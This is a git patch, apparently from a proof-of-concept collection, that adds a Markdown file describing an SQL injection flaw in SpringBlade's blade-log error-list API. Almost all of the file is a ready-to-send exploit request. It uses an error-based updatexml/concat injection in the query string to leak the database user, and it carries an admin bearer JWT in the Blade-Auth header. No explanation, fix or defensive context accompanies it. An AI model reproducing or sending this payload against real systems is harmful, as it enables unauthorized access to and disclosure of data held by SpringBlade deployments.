From fa10c314480d03f69a4ddff9f089d5aa8a39e9f0 Mon Sep 17 00:00:00 2001
From: wy876 <139549762+wy876@users.noreply.github.com>
Date: Tue, 12 Mar 2024 18:29:20 +0800
Subject: [PATCH] =?UTF-8?q?Create=20SpringBlade=20blade-log=E5=AD=98?=
 =?UTF-8?q?=E5=9C=A8SQL=20=E6=B3=A8=E5=85=A5=E6=BC=8F=E6=B4=9E.md?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 SpringBlade blade-log存在SQL 注入漏洞.md | 15 +++++++++++++++
 1 file changed, 15 insertions(+)
 create mode 100644 SpringBlade blade-log存在SQL 注入漏洞.md

diff --git a/SpringBlade blade-log存在SQL 注入漏洞.md b/SpringBlade blade-log存在SQL 注入漏洞.md
new file mode 100644
index 0000000..73adfdf
--- /dev/null
+++ b/SpringBlade blade-log存在SQL 注入漏洞.md	
@@ -0,0 +1,15 @@
+## SpringBlade blade-log存在SQL 注入漏洞
+
+
+## poc
+```
+GET /api/blade-log/error/list?updatexml(1,concat(0x7e,user(),0x7e),1)=1 HTTP/1.1
+Host: 
+Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
+Accept-Encoding: gzip, deflate
+User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
+Accept: application/json, text/plain, */*
+Blade-Auth: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJpc3MiOiJpc3N1c2VyIiwiYXVkIjoiYXVkaWVuY2UiLCJ0ZW5hbnRfaWQiOiIwMDAwMDAiLCJyb2xlX25hbWUiOiJhZG1pbmlzdHJhdG9yIiwicG9zdF9pZCI6IjExMjM1OTg4MTc3Mzg2NzUyMDEiLCJ1c2VyX2lkIjoiMTEyMzU5ODgyMTczODY3NTIwMSIsInJvbGVfaWQiOiIxMTIzNTk4ODE2NzM4Njc1MjAxIiwidXNlcl9uYW1lIjoiYWRtaW4iLCJuaWNrX25hbWUiOiLnrqHnkIblkZgiLCJ0b2tlbl90eXBlIjoiYWNjZXNzX3Rva2VuIiwiZGVwdF9pZCI6IjExMjM1OTg4MTM3Mzg2NzUyMDEiLCJhY2NvdW50IjoiYWRtaW4iLCJjbGllbnRfaWQiOiJzYWJlciJ9.UHWWVEc6oi6Z6_AC5_WcRrKS9fB3aYH7XZxL9_xH-yIoUNeBrFoylXjGEwRY3Dv7GJeFnl5ppu8eOS3YYFqdeQ
+```
+![image](https://github.com/wy876/POC/assets/139549762/59820cee-7b55-4e58-9b65-7b4f5a4bc12d)
+